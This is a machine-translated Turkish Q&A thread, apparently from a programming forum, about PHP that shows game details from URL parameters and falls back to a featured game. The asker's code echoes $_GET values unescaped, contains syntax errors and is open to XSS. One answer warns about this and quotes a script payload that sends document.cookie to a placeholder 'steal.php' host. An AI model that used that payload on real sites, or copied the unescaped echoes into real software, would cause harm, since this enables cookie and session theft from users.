PHP: Değeri alın ayarlayın Değişken

2 Cevap php

Ben PHP kullanarak bir oyun web sitesi oluşturma ve ben sadece oyun için bir sayfa kullanmak yerine bir grup var istiyorum. Ben bilgileri bu gibi girmiş olmasını istiyorsanız:

& Name = [oyunun adı] & açıklaması = [Oyun Açıklaması] & talimat `? Swf = [. Swf yolu] = [oyun için talimatlar] ``

Sorun URL girilen veri yok eğer siyah bir sayfa döndürür olmasıdır. Ben hiçbir şey URL ise özellikli bir oyun görüntülemek için else if ... kullanmak istiyorum. Ben şu anda sahip kodu:

<?php $name=$_GET["name"];
if ($name=="*")
echo "<h3>$name"</h3>;
else
echo "Featured Game Name";
?>

<?php $description=$_GET["description"];
if ($description=="*")
echo "<h5>$description</h3>;
else
echo "<h5>Featured Game Description</h5>";
?>

<object type="application/x-shockwave-flash" data="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" width="700" height="400">
<param name="movie" value="
<?php $swf=$_GET["swf"];
if ($swf=="*")
echo "$swf;
else
echo "Featured Game swf path";
?>
" />
</object>

<?php $instruction=$_GET["instruction"];
if ($instruction=="*")
echo "<p>$instruction</p>;
else
echo "Featured Game Instruction";
?>

Herkes bu gerçekleştirmek için yollar üzerinde herhangi bir öneri sunabilir?

2 Cevap

Ben ($ isim == "*") yoksa ne emin değilim, ama ben kullanmak istiyorum

if(isset($_GET['name']))

adını url geçildi eğer yerine, kontrol etmek.

I $_GET['name'] == "*" Eğer bir şey karıştırma ile varsayalım. Bu bağlamda sadece bir dize karşılaştırma. * SQL gibi bir şey eşleşen bir joker değildir. Eğer $_GET['name'], sen empty veya isset kullanabilirsiniz bir şey var olup olmadığını kontrol etmek istiyorsanız.

Buna ek olarak, ben bütün params kavramsal rapora ait çünkü sadece, name için bakmanızı tavsiye ederim. Yok ise name, hayır description olacak ve hiçbir instructions.

Ama ne yaparsanız yapın, aksi takdirde kimse bu veya er ya da geç ismi için benzer bir şey tedarik edecek, çıkış için gidiyoruz params sterilize emin olun:

<script>document.location='http://www.example.com/steal.php?'+document.cookie</script>